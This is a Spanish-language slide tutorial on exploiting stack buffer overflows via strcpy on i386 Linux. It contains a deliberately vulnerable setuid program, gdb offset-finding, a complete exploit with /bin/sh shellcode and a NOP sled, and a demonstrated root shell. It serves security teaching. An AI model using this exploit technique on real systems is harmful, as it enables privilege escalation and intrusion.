html5-img
1 / 19

STACK BUFFERS OVERFLOWS.

STACK BUFFERS OVERFLOWS. strcpy(); ANSI C (string.h). Linux con nucleos 2.4 & 2.6 en arquitectura i386 y compatibles. David Reguera García. Índice. Presentación. Conocimientos previos. ¿Qué es un buffer overflow? ¿Qué es un stack buffer overflow?

aman
Download Presentation

STACK BUFFERS OVERFLOWS.

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. STACK BUFFERS OVERFLOWS. strcpy(); ANSI C (string.h) Linux con nucleos 2.4 & 2.6 en arquitectura i386 y compatibles. David Reguera García.

  2. Índice • Presentación. • Conocimientos previos. • ¿Qué es un buffer overflow? • ¿Qué es un stack buffer overflow? • ¿Por qué en i386 y nucleos 2.4/2.6? • ¿Qué son los exploits? • ¿Qué es una shellcode? • Demostración de explotación • Solución. • Despedida

  3. Conocimientos previos. • Base sólida de ASM, sintaxis AT&T. • Conocimientos ANSI C y programación. • Nivel usuario de linux. • Depurador y funciones. • Conocer GDB.

  4. Demostración de una explotación. abo1.c #include <string.h> int main( int argc, char *argv[] ) { char buffer[50]; if ( argc > 1 ) strcpy( buffer, argv[1] ); return 0; }

  5. Demostración de una explotación. • root@sys [/home/fr33project]# gcc –o abo1 abo1.c • root@sys [/home/fr33project]# chmod u+s abo1 • root@sys [/home/fr33project]# su fr33project • fr33project [/home/fr33project]# ./abo1 `perl –e ‘print “A” x 80’` • Segmentation Fault.

  6. Demostración de una explotación. • La pila con strcpy: Bytes: 4 4 50 Nombre: %eip %esp buffer  Entrada de datos.

  7. Demostración de una explotación. • Como queremos la pila: Bytes: 4 4 50 Nombre: [%eip] [%esp] [buffer] Valor: [ SC ] [ Shellcode ]

  8. Demostración de una explotación. • Como quedará la pila: Bytes: 4 4 72 Nombre: [%eip] [%esp] [buffer y alineamiento] Valor: [ SC ] [ Shellcode y NOPS ]

  9. Demostración de una explotación. • Comprobando espacio hasta sobreescribir %eip: fr33project [/home/fr33project]# gdb abo1 (gdb) r `perl -e 'print "A" x 70'` Program exited normally. … (gdb) r `perl -e 'print "A" x 80'` Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? ()

  10. Demostración de una explotación. Creando el exploit: 1) Shellcode de 51 bytes. 2) 25 NOPS. 3) Dirección de SC 4 bytes.

  11. Demostración de una explotación. • xpl.c #include <unistd.h> int main( void ) { char sc[]= "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33” “\xd2\x89\x56\x07\x89\x56\x0f\xb8\x1b” “\x56\x34\x12\x35\x10\x56\x34\x12” “\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0” “\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";

  12. Demostración de una explotación. • xpl.c int i; char buff[80]; for ( i = 0; i < 26; i++ ) buff[i] = '\x90'; for ( i = 26; i < 76; i++ ) buff[i] = sc[i-26];

  13. Demostración de una explotación. • xpl.c buff[79] = 0xbf; // Dirección cualquiera. buff[78] = 0xff; buff[77] = 0xff; buff[76] = 0xff; execl( "./abo1", "abo1", buff, NULL ); return 0; }

  14. Demostración de una explotación. • fr33project [/home/fr33project]# gcc –o xpl xpl.c • fr33project [/home/fr33project]# gdb xpl (gdb) r Starting program: /home/fr33project/esi/xpl Program received signal SIGSEGV, Segmentation fault. 0xffffffbf in ?? ()

  15. Demostración de una explotación. • (gdb) x/30xw $esp-100 0xbffff80c: 0x080483c1 0xbffff820 0xbffffa24 0xb80009b8 0xbffff81c: 0xbffff8f4 0x90909090 0x90909090 0x90909090 0xbffff82c: 0x90909090 0x90909090 0x90909090 0x24eb9090 0xbffff83c: 0x891e8d5e 0xd2330b5e 0x89075689 0x1bb80f56 0xbffff84c: 0x35123456 0x12345610 0x8b0b4e8d 0x3380cdd1 0xbffff85c: 0x80cd40c0 0xffffd7e8 0x69622fff 0x68732f6e 0xbffff86c: 0xffffffbf 0x0177ff8e 0xbffff8e0 0xbf0009b8 0xbffff87c: 0x00000000 0xb7fd9038 (gdb)

  16. Demostración de una explotación. • Adaptando el xpl.c: buff[79] = 0xbf; buff[78] = 0xff; buff[77] = 0xf8; buff[76] = 0x3c;

  17. Demostración de una explotación. • fr33project [/home/fr33project]# gcc –o xpl xpl.c • fr33project [/home/fr33project]# id uid=1000(fr33project) gid=1000(fr33project). • fr33project [/home/fr33project]# ./xpl • sh-3.00# id uid=1000(fr33project) gid=1000(fr33project) euid=0(root)

  18. Solución • Una buena metodología. • Usar strncpy.

  19. Despedida. • Direcciones con información: • http://www.enye-sec.org • http://www.digitalsec.net \ http://www.digitalsec.es • http://www.7a69ezine.org • http://www.kernelpanik.org • http://www.phrack.org • Agradecimientos: • #blackhats 2003 ~ 2004, IRC-HISPANO.

More Related